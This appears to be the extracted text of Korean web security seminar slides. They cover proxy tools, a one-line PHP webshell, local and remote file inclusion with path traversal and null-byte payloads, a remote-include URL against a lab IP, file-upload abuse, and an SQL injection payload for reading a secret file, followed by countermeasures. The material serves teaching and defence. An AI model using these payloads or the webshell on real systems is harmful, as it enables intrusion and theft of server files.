Web vulnerability seminar
Let’s exploit
Contents
$ PHP + Source code auditing
$ DB + SQLi
$ XSS & CSRF
$ Something Else
$ Finish..?
Something else contents
$ Fiddler – Web Proxy Tool
$ Webshell
$ LFI/RFI
$ File up/download (with SQL i)
Proxy Tool
Proxy Tool lists
$ Paros
$ Burpsuite
$ Fiddler
…
Request 창
Response 창
Request/Response
Trap
Packet Capture
패킷생성
작성
Webshell?
Webshell!
Webshell
$ php,jsp,asp 등 언어마다 다름
$ 하지만 원리는 비슷함
내용!
system($_GET[cmd]);
php..
<textarea name="CONTENT"
style="width:100%; height:80%">
<?
echo system($_GET[cmd]);
?>
</textarea>
웹쉘 실행
이제부터 이걸 쓸 겁니다.
Homepage
과거회상
???.php
결과
경로?
$ include(경로)
경로 관련 문자열 : ., /
경로?
$ p = zizihacker
== ../FI/zizihacker
==../../etc/FI/zizihacker…
C:secret 파일을 읽으세요
LFI
$ ../../../../../../../secret
$ secret.php
if(isset($_GET[p]))
{
$path = $_GET[p].".php";
include($path);
echo "<br><br>";
}
With NULL.
$ ../../../../../../../secret%00
$ secret
if(isset($_GET[p]))
{
$path = $_GET[p].".php";
include($path);
echo "<br><br>";
}
%00.php
RFI
$ 경로에 원격도 먹히지 않을까?
$ 그렇다면 내 서버의 파일을 실행 시키거나
올릴 수 있지 않을까?
RFI
RFI
$ 자신이 만든 php를 올려봅시다
$ http://192.168.32.75/RFI.php?p=
Exploit
$ http://192.168.32.75/RFI.php?p=http://ip/
path/test.txt%00
$ http://192.168.32.75/RFI.php?p=http://ip/
path/test.txt?
왜?
File upload
$ 파일 업로드
> 글쓰기 및 파일 업로드 요청
> FTP에 저장 혹은 DB와 연동
File upload
2가지 취약점이 존재.
$ 파일이름을 그대로 씀
$ SQL injection 취약점이 존재
웹쉘을 올려봅시다.
경로를 어떻게 알아야 하나요?
힌트 : ………………………………..
서버설정도 덮어 쓸 수 있음.
$ .htaccess
$ php.ini
$ httpd.conf
...
htaccess
디렉토리 별로 설정을 변경 할 수 있음
magic_quote_gpc
engine
LFI RFI 관련
기타 여러가지
과거회상
SQl injection
$ ‘1,’wer’,’2’),(‘2
+ 센스?
C:secret 파일을 읽어봅시다.
SQL
$ INSERT INTO a,b,c
values(‘',0x433a2f736563726574,1234)#’,p
ath,ip);
file Download
$ SQL 인젝션을 통해 db에 값을 넣고
$ file download 기능을 통해 받는다.
대처방안 LFI
$ 경로 관련 문자열 필터링
> 일반적인 파일 이름엔 / 가 들어가지 않음!
$ 페이지를 db에 따로 저장
> 관리가 귀찮음..
$ NULL 문자 방지를 위해 magic_quote on
> magic_quote_gpc를 켜면 %00=> 0
대처방안 RFI
$ 기본옵션에서 막혀 있음..
> allow_url_fopen = off
> allow_url_include = off
$ 만약 써야 한다면 신뢰할 수 있는 url 이외
엔 drop
대처방안 File upload
$ FTP를 사용할 시 anon 계정의 w권한 금지
> 계정 사용 자체를 막는 것도 좋은 방법
$ db와 연동 시 sql 취약점을 잘 판단할 것.
> magic_quote_gpc만 켜도 해결되긴 함..
$ 파일이름을 랜덤하게 지정할 것.
> 경로 또한 마찬가지
추가. File download
$ 요청과 권한을 확인 할 것
> 비 로그인 및 불충분한 권한인지 확인
$ db에서 가져온 값을 그대로 신용하지
말고 체크할 것
$ download 받을 시 인자 값에서 injection
이 발생 할 수도 있음!

Web vulnerability seminar4